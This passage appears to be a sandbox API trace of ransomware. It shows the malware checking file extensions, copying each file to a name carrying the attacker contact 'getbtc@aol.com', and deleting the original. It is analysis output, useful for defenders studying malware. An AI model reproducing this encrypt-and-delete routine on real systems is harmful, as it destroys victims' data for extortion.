Office\\CLIPART\\PUB60COR\\J0103850.WMF") returned 63 [0255.918] lstrlenW (lpString=".zip") returned 4 [0255.918] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0255.918] lstrlenW (lpString=".rar") returned 4 [0255.918] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0255.918] lstrlenW (lpString=".bz2") returned 4 [0255.918] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0255.918] lstrlenW (lpString=".7z") returned 3 [0255.918] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0255.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF") returned 63 [0255.918] lstrlenW (lpString=".dbf") returned 4 [0255.918] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0255.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF") returned 63 [0255.918] lstrlenW (lpString=".1cd") returned 4 [0255.918] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0255.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF") returned 63 [0255.918] lstrlenW (lpString=".jpg") returned 4 [0255.918] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0255.918] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0255.918] lstrlenW (lpString="J0105230.WMF") returned 12 [0255.918] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105230.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0255.919] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=5172) returned 1 [0255.919] CloseHandle (hObject=0x20c) returned 1 [0255.919] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105230.wmf")) returned 0x20 [0255.919] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105230.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0255.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105230.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0255.919] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.919] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.920] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105230.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0255.920] GetLastError () returned 0x0 [0255.920] ReadFile (in: hFile=0x20c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x1434, lpOverlapped=0x0) returned 1 [0255.922] WriteFile (in: hFile=0x390, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x1440, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x1440, lpOverlapped=0x0) returned 1 [0255.923] ReadFile (in: hFile=0x20c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0255.923] WriteFile (in: hFile=0x390, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0255.923] SetEndOfFile (hFile=0x390) returned 1 [0255.923] CloseHandle (hObject=0x390) returned 1 [0255.923] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.923] SetEndOfFile (hFile=0x20c) returned 1 [0255.928] CloseHandle (hObject=0x20c) returned 1 [0255.928] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0255.928] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105230.wmf")) returned 1 [0255.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF") returned 63 [0255.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF") returned 63 [0255.928] lstrlenW (lpString=".doc") returned 4 [0255.928] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0255.928] lstrlenW (lpString=".docx") returned 5 [0255.929] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0255.929] lstrlenW (lpString=".pdf") returned 4 [0255.929] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0255.929] lstrlenW (lpString=".xls") returned 4 [0255.929] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0255.929] lstrlenW (lpString=".xlsx") returned 5 [0255.929] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0255.929] lstrlenW (lpString=".ppt") returned 4 [0255.929] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0255.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF") returned 63 [0255.929] lstrlenW (lpString=".zip") returned 4 [0255.929] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0255.929] lstrlenW (lpString=".rar") returned 4 [0255.929] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0255.929] lstrlenW (lpString=".bz2") returned 4 [0255.929] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0255.929] lstrlenW (lpString=".7z") returned 3 [0255.929] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0255.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF") returned 63 [0255.929] lstrlenW (lpString=".dbf") returned 4 [0255.929] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0255.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF") returned 63 [0255.929] lstrlenW (lpString=".1cd") returned 4 [0255.929] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0255.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF") returned 63 [0255.929] lstrlenW (lpString=".jpg") returned 4 [0255.929] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0255.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF") returned 63 [0255.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF") returned 63 [0255.929] lstrlenW (lpString=".doc") returned 4 [0255.929] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0255.929] lstrlenW (lpString=".docx") returned 5 [0255.929] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0255.929] lstrlenW (lpString=".pdf") returned 4 [0255.929] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0255.929] lstrlenW (lpString=".xls") returned 4 [0255.929] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0255.929] lstrlenW (lpString=".xlsx") returned 5 [0255.929] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0255.930] lstrlenW (lpString=".ppt") returned 4 [0255.930] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0255.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF") returned 63 [0255.930] lstrlenW (lpString=".zip") returned 4 [0255.930] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0255.930] lstrlenW (lpString=".rar") returned 4 [0255.930] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0255.930] lstrlenW (lpString=".bz2") returned 4 [0255.930] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0255.930] lstrlenW (lpString=".7z") returned 3 [0255.930] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0255.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF") returned 63 [0255.930] lstrlenW (lpString=".dbf") returned 4 [0255.930] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0255.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF") returned 63 [0255.930] lstrlenW (lpString=".1cd") returned 4 [0255.930] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0255.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF") returned 63 [0255.930] lstrlenW (lpString=".jpg") returned 4 [0255.930] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0255.930] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0255.930] lstrlenW (lpString="J0105232.WMF") returned 12 [0255.930] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105232.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0255.931] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=5632) returned 1 [0255.931] CloseHandle (hObject=0x20c) returned 1 [0255.931] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105232.wmf")) returned 0x20 [0255.931] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105232.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0255.932] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105232.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0255.932] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.932] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.932] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105232.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0255.932] GetLastError () returned 0x0 [0255.932] ReadFile (in: hFile=0x20c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x1600, lpOverlapped=0x0) returned 1 [0255.934] WriteFile (in: hFile=0x390, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x1610, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x1610, lpOverlapped=0x0) returned 1 [0255.935] ReadFile (in: hFile=0x20c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0255.935] WriteFile (in: hFile=0x390, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0255.935] SetEndOfFile (hFile=0x390) returned 1 [0255.935] CloseHandle (hObject=0x390) returned 1 [0255.935] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.935] SetEndOfFile (hFile=0x20c) returned 1 [0255.937] CloseHandle (hObject=0x20c) returned 1 [0255.937] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0255.937] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105232.wmf")) returned 1 [0255.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF") returned 63 [0255.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF") returned 63 [0255.938] lstrlenW (lpString=".doc") returned 4 [0255.938] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0255.938] lstrlenW (lpString=".docx") returned 5 [0255.938] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0255.938] lstrlenW (lpString=".pdf") returned 4 [0255.938] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0255.938] lstrlenW (lpString=".xls") returned 4 [0255.938] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0255.938] lstrlenW (lpString=".xlsx") returned 5 [0255.938] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0255.938] lstrlenW (lpString=".ppt") returned 4 [0255.938] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0255.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF") returned 63 [0255.938] lstrlenW (lpString=".zip") returned 4 [0255.938] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0255.938] lstrlenW (lpString=".rar") returned 4 [0255.938] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0255.938] lstrlenW (lpString=".bz2") returned 4 [0255.938] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0255.938] lstrlenW (lpString=".7z") returned 3 [0255.938] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0255.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF") returned 63 [0255.938] lstrlenW (lpString=".dbf") returned 4 [0255.938] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0255.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF") returned 63 [0255.938] lstrlenW (lpString=".1cd") returned 4 [0255.938] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0255.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF") returned 63 [0255.939] lstrlenW (lpString=".jpg") returned 4 [0255.939] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0255.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF") returned 63 [0255.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF") returned 63 [0255.939] lstrlenW (lpString=".doc") returned 4 [0255.939] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0255.939] lstrlenW (lpString=".docx") returned 5 [0255.939] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0255.939] lstrlenW (lpString=".pdf") returned 4 [0255.939] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0255.939] lstrlenW (lpString=".xls") returned 4 [0255.939] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0255.939] lstrlenW (lpString=".xlsx") returned 5 [0255.939] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0255.939] lstrlenW (lpString=".ppt") returned 4 [0255.939] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0255.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF") returned 63 [0255.939] lstrlenW (lpString=".zip") returned 4 [0255.939] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0255.939] lstrlenW (lpString=".rar") returned 4 [0255.939] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0255.939] lstrlenW (lpString=".bz2") returned 4 [0255.939] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0255.939] lstrlenW (lpString=".7z") returned 3 [0255.939] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0255.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF") returned 63 [0255.939] lstrlenW (lpString=".dbf") returned 4 [0255.939] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0255.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF") returned 63 [0255.940] lstrlenW (lpString=".1cd") returned 4 [0255.940] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0255.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF") returned 63 [0255.940] lstrlenW (lpString=".jpg") returned 4 [0255.940] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0255.940] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0255.940] lstrlenW (lpString="J0105234.WMF") returned 12 [0255.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105234.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0255.941] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=3444) returned 1 [0255.941] CloseHandle (hObject=0x20c) returned 1 [0255.941] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105234.wmf")) returned 0x20 [0255.941] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105234.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0255.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105234.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0255.941] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.941] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105234.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0255.942] GetLastError () returned 0x0 [0255.942] ReadFile (in: hFile=0x20c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0xd74, lpOverlapped=0x0) returned 1 [0255.943] WriteFile (in: hFile=0x390, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xd80, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xd80, lpOverlapped=0x0) returned 1 [0255.944] ReadFile (in: hFile=0x20c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0255.944] WriteFile (in: hFile=0x390, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0255.944] SetEndOfFile (hFile=0x390) returned 1 [0255.944] CloseHandle (hObject=0x390) returned 1 [0255.945] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.945] SetEndOfFile (hFile=0x20c) returned 1 [0255.946] CloseHandle (hObject=0x20c) returned 1 [0255.946] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0255.947] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105234.wmf")) returned 1 [0255.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF") returned 63 [0255.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF") returned 63 [0255.947] lstrlenW (lpString=".doc") returned 4 [0255.947] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0255.947] lstrlenW (lpString=".docx") returned 5 [0255.947] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0255.947] lstrlenW (lpString=".pdf") returned 4 [0255.947] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0255.947] lstrlenW (lpString=".xls") returned 4 [0255.947] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0255.947] lstrlenW (lpString=".xlsx") returned 5 [0255.947] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0255.947] lstrlenW (lpString=".ppt") returned 4 [0255.947] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0255.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF") returned 63 [0255.948] lstrlenW (lpString=".zip") returned 4 [0255.948] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0255.948] lstrlenW (lpString=".rar") returned 4 [0255.948] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0255.948] lstrlenW (lpString=".bz2") returned 4 [0255.948] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0255.948] lstrlenW (lpString=".7z") returned 3 [0255.948] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0255.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF") returned 63 [0255.948] lstrlenW (lpString=".dbf") returned 4 [0255.948] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0255.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF") returned 63 [0255.948] lstrlenW (lpString=".1cd") returned 4 [0255.948] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0255.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF") returned 63 [0255.948] lstrlenW (lpString=".jpg") returned 4 [0255.948] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0255.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF") returned 63 [0255.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF") returned 63 [0255.948] lstrlenW (lpString=".doc") returned 4 [0255.948] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0255.948] lstrlenW (lpString=".docx") returned 5 [0255.948] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0255.948] lstrlenW (lpString=".pdf") returned 4 [0255.948] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0255.948] lstrlenW (lpString=".xls") returned 4 [0255.948] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0255.948] lstrlenW (lpString=".xlsx") returned 5 [0255.948] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0255.948] lstrlenW (lpString=".ppt") returned 4 [0255.948] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0255.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF") returned 63 [0255.948] lstrlenW (lpString=".zip") returned 4 [0255.948] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0255.948] lstrlenW (lpString=".rar") returned 4 [0255.948] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0255.949] lstrlenW (lpString=".bz2") returned 4 [0255.949] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0255.949] lstrlenW (lpString=".7z") returned 3 [0255.949] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0255.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF") returned 63 [0255.949] lstrlenW (lpString=".dbf") returned 4 [0255.949] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0255.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF") returned 63 [0255.949] lstrlenW (lpString=".1cd") returned 4 [0255.949] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 